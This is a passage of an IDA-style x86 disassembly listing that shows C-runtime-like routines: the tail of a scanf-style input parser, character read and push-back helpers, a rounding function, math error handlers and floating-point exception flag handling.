[ebp+var_40], eax loc_4243BD: ; CODE XREF: sub_4236C0:loc_424214j ; sub_4236C0+CF3j cmp [ebp+var_C], 46h jnz short loc_4243CA mov [ebp+var_6C], 0 loc_4243CA: ; CODE XREF: sub_4236C0+D01j cmp [ebp+var_6C], 0 jz short loc_424418 movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_424416 mov edx, [ebp+var_34] add edx, 1 mov [ebp+var_34], edx loc_4243E1: ; CODE XREF: sub_4236C0+D70j cmp [ebp+var_1DC], 0 jz short loc_4243FA mov eax, [ebp+var_3C] mov ecx, [ebp+var_30] mov [eax], ecx mov edx, [ebp+var_2C] mov [eax+4], edx jmp short loc_424416 ; --------------------------------------------------------------------------- loc_4243FA: ; CODE XREF: sub_4236C0+D28j movsx eax, [ebp+var_38] test eax, eax jz short loc_42440C mov ecx, [ebp+var_3C] mov edx, [ebp+var_40] mov [ecx], edx jmp short loc_424416 ; --------------------------------------------------------------------------- loc_42440C: ; CODE XREF: sub_4236C0+D40j mov eax, [ebp+var_3C] mov cx, word ptr [ebp+var_40] mov [eax], cx loc_424416: ; CODE XREF: sub_4236C0+D16j ; sub_4236C0+D38j ... jmp short loc_42441D ; --------------------------------------------------------------------------- loc_424418: ; CODE XREF: sub_4236C0+D0Ej jmp loc_4249AA ; --------------------------------------------------------------------------- loc_42441D: ; CODE XREF: sub_4236C0:loc_424416j jmp loc_424854 ; --------------------------------------------------------------------------- loc_424422: ; CODE XREF: sub_4236C0+3C4j mov edx, [ebp+var_20] mov [ebp+var_40], edx movsx eax, [ebp+var_70] test eax, eax jnz short loc_424432 jmp short loc_4243E1 ; --------------------------------------------------------------------------- loc_424432: ; CODE XREF: sub_4236C0+D6Ej jmp loc_424854 ; --------------------------------------------------------------------------- loc_424437: ; CODE XREF: sub_4236C0+3C4j lea ecx, [ebp+var_1D0] mov [ebp+var_1E0], ecx cmp [ebp+var_1D8], 2Dh jnz short loc_424466 mov edx, [ebp+var_1E0] mov byte ptr [edx], 2Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax jmp short loc_42446F ; --------------------------------------------------------------------------- loc_424466: ; CODE XREF: sub_4236C0+D8Aj cmp [ebp+var_1D8], 2Bh jnz short loc_424493 loc_42446F: ; CODE XREF: sub_4236C0+DA4j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax loc_424493: ; CODE XREF: sub_4236C0+DADj cmp [ebp+var_1E8], 0 jz short loc_4244A5 cmp [ebp+var_1C], 15Dh jle short loc_4244AC loc_4244A5: ; CODE XREF: sub_4236C0+DDAj mov [ebp+var_1C], 15Dh loc_4244AC: ; CODE XREF: sub_4236C0+DE3j ; sub_4236C0+E82j cmp dword_447480, 1 jle short loc_4244CE push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_218], eax jmp short loc_4244E8 ; --------------------------------------------------------------------------- loc_4244CE: ; CODE XREF: sub_4236C0+DF3j mov edx, [ebp+var_1D8] mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_218], ecx loc_4244E8: ; CODE XREF: sub_4236C0+E0Cj cmp [ebp+var_218], 0 jz short loc_424547 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_424547 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax jmp loc_4244AC ; --------------------------------------------------------------------------- loc_424547: ; CODE XREF: sub_4236C0+E2Fj ; sub_4236C0+E3Fj movsx ecx, byte_447484 movsx edx, byte ptr [ebp+var_1D8] cmp ecx, edx jnz loc_424644 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_424644 mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1E0] mov dl, byte_447484 mov [ecx], dl mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax loc_4245A9: ; CODE XREF: sub_4236C0+F7Fj cmp dword_447480, 1 jle short loc_4245CB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41FA40 add esp, 8 mov [ebp+var_21C], eax jmp short loc_4245E5 ; --------------------------------------------------------------------------- loc_4245CB: ; CODE XREF: sub_4236C0+EF0j mov edx, [ebp+var_1D8] mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_21C], ecx loc_4245E5: ; CODE XREF: sub_4236C0+F09j cmp [ebp+var_21C], 0 jz short loc_424644 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_424644 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax jmp loc_4245A9 ; --------------------------------------------------------------------------- loc_424644: ; CODE XREF: sub_4236C0+E97j ; sub_4236C0+EABj ... cmp [ebp+var_6C], 0 jz loc_4247A9 cmp [ebp+var_1D8], 65h jz short loc_424664 cmp [ebp+var_1D8], 45h jnz loc_4247A9 loc_424664: ; CODE XREF: sub_4236C0+F95j mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx test ecx, ecx jz loc_4247A9 mov eax, [ebp+var_1E0] mov byte ptr [eax], 65h mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 2Dh jnz short loc_4246CE mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx jmp short loc_4246D7 ; --------------------------------------------------------------------------- loc_4246CE: ; CODE XREF: sub_4236C0+FF2j cmp [ebp+var_1D8], 2Bh jnz short loc_42470D loc_4246D7: ; CODE XREF: sub_4236C0+100Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jnz short loc_4246F2 mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx jmp short loc_42470D ; --------------------------------------------------------------------------- loc_4246F2: ; CODE XREF: sub_4236C0+1025j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax loc_42470D: ; CODE XREF: sub_4236C0+1015j ; sub_4236C0+1030j ... cmp dword_447480, 1 jle short loc_42472F push 4 mov edx, [ebp+var_1D8] push edx call sub_41FA40 add esp, 8 mov [ebp+var_220], eax jmp short loc_42474A ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_4236C0+1054j mov eax, [ebp+var_1D8] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_220], edx loc_42474A: ; CODE XREF: sub_4236C0+106Dj cmp [ebp+var_220], 0 jz short loc_4247A9 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz short loc_4247A9 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1E0] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42470D ; --------------------------------------------------------------------------- loc_4247A9: ; CODE XREF: sub_4236C0+F88j ; sub_4236C0+F9Ej ... mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_424B60 add esp, 8 cmp [ebp+var_6C], 0 jz short loc_424803 movsx edx, [ebp+var_70] test edx, edx jnz short loc_424801 mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 0 lea edx, [ebp+var_1D0] push edx mov eax, [ebp+var_3C] push eax movsx ecx, [ebp+var_38] sub ecx, 1 push ecx call off_447840 add esp, 0Ch loc_424801: ; CODE XREF: sub_4236C0+1111j jmp short loc_424808 ; --------------------------------------------------------------------------- loc_424803: ; CODE XREF: sub_4236C0+1109j jmp loc_4249AA ; --------------------------------------------------------------------------- loc_424808: ; CODE XREF: sub_4236C0:loc_424801j jmp short loc_424854 ; --------------------------------------------------------------------------- loc_42480A: ; CODE XREF: sub_4236C0+3B0j ; sub_4236C0+3C4j ; DATA XREF: ... mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] cmp eax, [ebp+var_1D8] jz short loc_42483A mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_424B60 add esp, 8 jmp loc_4249AA ; --------------------------------------------------------------------------- loc_42483A: ; CODE XREF: sub_4236C0+1157j mov cl, [ebp+var_28] sub cl, 1 mov [ebp+var_28], cl movsx edx, [ebp+var_70] test edx, edx jnz short loc_424854 mov eax, [ebp+var_1D4] mov [ebp+arg_8], eax loc_424854: ; CODE XREF: sub_4236C0:loc_423EB6j ; sub_4236C0:loc_42441Dj ... mov cl, [ebp+var_28] add cl, 1 mov [ebp+var_28], cl jmp short loc_424880 ; --------------------------------------------------------------------------- loc_42485F: ; CODE XREF: sub_4236C0+38Bj mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_424B60 add esp, 8 jmp loc_4249AA ; --------------------------------------------------------------------------- loc_424880: ; CODE XREF: sub_4236C0+119Dj mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx jmp loc_424981 ; --------------------------------------------------------------------------- loc_42488E: ; CODE XREF: sub_4236C0+11Dj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_4248E6 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_424B60 add esp, 8 jmp loc_4249AA ; --------------------------------------------------------------------------- loc_4248E6: ; CODE XREF: sub_4236C0+1203j mov eax, [ebp+var_1D8] and eax, 0FFh mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_424981 mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_424B00 add esp, 4 mov [ebp+var_1F4], eax mov ecx, [ebp+var_1F4] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_424978 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1F4] push edx call sub_424B60 add esp, 8 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_424B60 add esp, 8 jmp short loc_4249AA ; --------------------------------------------------------------------------- loc_424978: ; CODE XREF: sub_4236C0+127Cj mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax loc_424981: ; CODE XREF: sub_4236C0+11C9j ; sub_4236C0+1245j cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_4249A5 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz short loc_4249A3 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] cmp ecx, 6Eh jz short loc_4249A5 loc_4249A3: ; CODE XREF: sub_4236C0+12D4j jmp short loc_4249AA ; --------------------------------------------------------------------------- loc_4249A5: ; CODE XREF: sub_4236C0+12C8j ; sub_4236C0+12E1j jmp loc_423737 ; --------------------------------------------------------------------------- loc_4249AA: ; CODE XREF: sub_4236C0+80j ; sub_4236C0+635j ... cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_4249DE cmp [ebp+var_34], 0 jnz short loc_4249CD movsx edx, [ebp+var_28] test edx, edx jnz short loc_4249CD mov [ebp+var_224], 0FFFFFFFFh jmp short loc_4249D6 ; --------------------------------------------------------------------------- loc_4249CD: ; CODE XREF: sub_4236C0+12F7j ; sub_4236C0+12FFj mov eax, [ebp+var_34] mov [ebp+var_224], eax loc_4249D6: ; CODE XREF: sub_4236C0+130Bj mov eax, [ebp+var_224] jmp short loc_4249E1 ; --------------------------------------------------------------------------- loc_4249DE: ; CODE XREF: sub_4236C0+12F1j mov eax, [ebp+var_34] loc_4249E1: ; CODE XREF: sub_4236C0+131Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4236C0 endp ; --------------------------------------------------------------------------- off_4249E8 dd offset loc_42397A ; DATA XREF: sub_4236C0+239r dd offset loc_423900 dd offset loc_423918 dd offset loc_42395C dd offset loc_423905 dd offset loc_423967 dd offset loc_42396F dd offset loc_423985 byte_424A08 db 0 ; DATA XREF: sub_4236C0+233r ; --------------------------------------------------------------------------- pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es add [edi], eax pop es add al, [edi] pop es add eax, [edi] add [edi], eax pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es pop es add al, 7 pop es pop es add eax, 7070707h pop es pop es pop es pop es pop es pop es push es loc_424A56: ; DATA XREF: sub_4236C0+3C4r mov edi, [edx] inc edx add ah, al aas inc edx add [edi], dh inc esp inc edx add [ebx+2200423Eh], bh inc esp inc edx add al, al aas inc edx add cl, dl cmp al, [edx+0] retn 423Eh ; --------------------------------------------------------------------------- align 2 dd offset loc_423AF6 dd offset loc_42480A byte_424A7E db 0 ; DATA XREF: sub_4236C0+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424AA0 proc near ; CODE XREF: sub_4236C0+9E9p ; sub_4236C0+BCCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp dword_447480, 1 jle short loc_424AC2 push 4 mov eax, [ebp+arg_0] push eax call sub_41FA40 add esp, 8 mov [ebp+var_4], eax jmp short loc_424AD7 ; --------------------------------------------------------------------------- loc_424AC2: ; CODE XREF: sub_424AA0+Dj mov ecx, [ebp+arg_0] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_424AD7: ; CODE XREF: sub_424AA0+20j cmp [ebp+var_4], 0 jz short loc_424AE5 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_424AF1 ; --------------------------------------------------------------------------- loc_424AE5: ; CODE XREF: sub_424AA0+3Bj mov edx, [ebp+arg_0] and edx, 0FFFFFFDFh sub edx, 7 mov [ebp+var_8], edx loc_424AF1: ; CODE XREF: sub_424AA0+43j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_424AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B00 proc near ; CODE XREF: sub_4236C0+370p ; sub_4236C0+698p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jl short loc_424B3B mov ecx, [ebp+arg_0] mov edx, [ecx] movsx eax, byte ptr [edx] and eax, 0FFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_424B4A ; --------------------------------------------------------------------------- loc_424B3B: ; CODE XREF: sub_424B00+1Aj mov ecx, [ebp+arg_0] push ecx call sub_41FB00 add esp, 4 mov [ebp+var_4], eax loc_424B4A: ; CODE XREF: sub_424B00+39j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_424B00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B60 proc near ; CODE XREF: sub_4236C0+ECp ; sub_4236C0+666p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_424B79 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42ACA0 add esp, 8 loc_424B79: ; CODE XREF: sub_424B60+7j pop ebp retn sub_424B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B80 proc near ; CODE XREF: sub_4236C0+E3p ; sub_4236C0+353p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx loc_424B84: ; CODE XREF: sub_424B80+30j mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_4] push eax call sub_424B00 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_42A980 add esp, 4 test eax, eax jz short loc_424BB2 jmp short loc_424B84 ; --------------------------------------------------------------------------- loc_424BB2: ; CODE XREF: sub_424B80+2Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_424B80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_424BC0(double) sub_424BC0 proc near ; CODE XREF: sub_419730+C3p ; sub_419950+C3p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_424BE0(int,double,int) sub_424BE0 proc near ; CODE XREF: sub_419730+85p ; sub_419950+85p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_447AF0, 0 jnz short loc_424C14 mov eax, [ebp+arg_C] push eax ; int mov ecx, [ebp+10h] push ecx mov edx, [ebp+arg_4] push edx ; double push 0 ; int push 0 ; int mov eax, [ebp+10h] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_0] push edx ; int push 1 ; int call sub_425690 add esp, 24h jmp short loc_424C33 ; --------------------------------------------------------------------------- loc_424C14: ; CODE XREF: sub_424BE0+Aj call sub_4224D0 mov dword ptr [eax], 21h push 0FFFFh mov eax, [ebp+arg_C] push eax call sub_425B20 add esp, 8 fld qword ptr [ebp+arg_4] loc_424C33: ; CODE XREF: sub_424BE0+32j pop ebp retn sub_424BE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 fld qword ptr [ebp+0Ch] fadd qword ptr [ebp+14h] fstp qword ptr [ebp-8] cmp dword_447AF0, 0 jnz short loc_424C84 mov eax, [ebp+1Ch] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-8] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx push 1 call sub_425690 add esp, 24h jmp short loc_424CA3 ; --------------------------------------------------------------------------- loc_424C84: ; CODE XREF: .data:00424C56j call sub_4224D0 mov dword ptr [eax], 21h push 0FFFFh mov edx, [ebp+1Ch] push edx call sub_425B20 add esp, 8 fld qword ptr [ebp-8] loc_424CA3: ; CODE XREF: .data:00424C82j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_424CB0(int,int,int,int,double,int) sub_424CB0 proc near ; CODE XREF: sub_419730+B1p ; sub_419730+129p ... var_5C = byte ptr -5Ch var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+arg_18] push eax lea ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_0] push edx call sub_425310 add esp, 0Ch test eax, eax jnz short loc_424CF6 mov eax, [ebp+var_24] and al, 0FEh mov [ebp+var_24], eax lea ecx, [ebp+arg_10] push ecx lea edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+arg_18] push edx lea eax, [ebp+var_5C] push eax call sub_424E40 add esp, 18h loc_424CF6: ; CODE XREF: sub_424CB0+1Cj mov ecx, [ebp+arg_0] push ecx call sub_4257B0 add esp, 4 mov [ebp+var_4], eax cmp dword_447AF0, 0 jnz short loc_424D3E cmp [ebp+var_4], 0 jz short loc_424D3E mov edx, [ebp+arg_18] push edx ; int mov eax, dword ptr [ebp+arg_10+4] push eax mov ecx, dword ptr [ebp+arg_10] push ecx ; double push 0 ; int push 0 ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+var_4] push edx ; int call sub_425690 add esp, 24h jmp short loc_424D5E ; --------------------------------------------------------------------------- loc_424D3E: ; CODE XREF: sub_424CB0+5Cj ; sub_424CB0+62j mov eax, [ebp+var_4] push eax call sub_425730 add esp, 4 push 0FFFFh mov ecx, [ebp+arg_18] push ecx call sub_425B20 add esp, 8 fld [ebp+arg_10] loc_424D5E: ; CODE XREF: sub_424CB0+8Cj mov esp, ebp pop ebp retn sub_424CB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+28h] push eax lea ecx, [ebp+20h] push ecx mov edx, [ebp+8] push edx call sub_425310 add esp, 0Ch test eax, eax jnz short loc_424DCE mov eax, [ebp-24h] or al, 1 mov [ebp-24h], eax mov ecx, [ebp-24h] and ecx, 0FFFFFFE1h or ecx, 2 mov [ebp-24h], ecx mov edx, [ebp+18h] mov [ebp-34h], edx mov eax, [ebp+1Ch] mov [ebp-30h], eax lea ecx, [ebp+20h] push ecx lea edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx lea edx, [ebp+28h] push edx lea eax, [ebp-5Ch] push eax call sub_424E40 add esp, 18h loc_424DCE: ; CODE XREF: .data:00424D8Cj mov ecx, [ebp+8] push ecx call sub_4257B0 add esp, 4 mov [ebp-4], eax cmp dword_447AF0, 0 jnz short loc_424E1A cmp dword ptr [ebp-4], 0 jz short loc_424E1A mov edx, [ebp+28h] push edx mov eax, [ebp+24h] push eax mov ecx, [ebp+20h] push ecx mov edx, [ebp+1Ch] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] push ecx call sub_425690 add esp, 24h jmp short loc_424E3A ; --------------------------------------------------------------------------- loc_424E1A: ; CODE XREF: .data:00424DE4j ; .data:00424DEAj mov edx, [ebp-4] push edx call sub_425730 add esp, 4 push 0FFFFh mov eax, [ebp+28h] push eax call sub_425B20 add esp, 8 fld qword ptr [ebp+20h] loc_424E3A: ; CODE XREF: .data:00424E18j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E40 proc near ; CODE XREF: sub_424CB0+3Ep ; .data:00424DC6p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz short loc_424E84 mov [ebp+var_4], 0C000008Fh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_424E84: ; CODE XREF: sub_424E40+2Cj mov ecx, [ebp+arg_8] and ecx, 2 test ecx, ecx jz short loc_424EA3 mov [ebp+var_4], 0C0000093h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 2 mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_424EA3: ; CODE XREF: sub_424E40+4Cj mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_424EC3 mov [ebp+var_4], 0C0000091h mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+4], ecx loc_424EC3: ; CODE XREF: sub_424E40+6Bj mov eax, [ebp+arg_8] and eax, 4 test eax, eax jz short loc_424EE3 mov [ebp+var_4], 0C000008Eh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 8 mov eax, [ebp+arg_0] mov [eax+4], edx loc_424EE3: ; CODE XREF: sub_424E40+8Bj mov ecx, [ebp+arg_8] and ecx, 8 test ecx, ecx jz short loc_424F02 mov [ebp+var_4], 0C0000090h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 10h mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_424F02: ; CODE XREF: sub_424E40+ABj mov edx, [ebp+arg_4] mov eax, [edx] and eax, 1 neg eax sbb eax, eax inc eax and eax, 1 shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFEFh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 4 neg edx sbb edx, edx inc edx and edx, 1 shl edx, 3 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFF7h or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 8 neg ecx sbb ecx, ecx inc ecx and ecx, 1 shl ecx, 2 mov edx, [ebp+arg_0] mov eax, [edx+8] and al, 0FBh or eax, ecx mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [edx] and eax, 10h neg eax sbb eax, eax inc eax and eax, 1 shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFFDh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 20h neg edx sbb edx, edx inc edx and edx, 1 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFFEh or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx call sub_425AE0 mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, 1 test eax, eax jz short loc_424FD2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_424FD2: ; CODE XREF: sub_424E40+181j mov ecx, [ebp+var_8] and ecx, 4 test ecx, ecx jz short loc_424FEA mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 8 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_424FEA: ; CODE XREF: sub_424E40+19Aj mov edx, [ebp+var_8] and edx, 8 test edx, edx jz short loc_425003 mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+0Ch], ecx loc_425003: ; CODE XREF: sub_424E40+1B2j mov eax, [ebp+var_8] and eax, 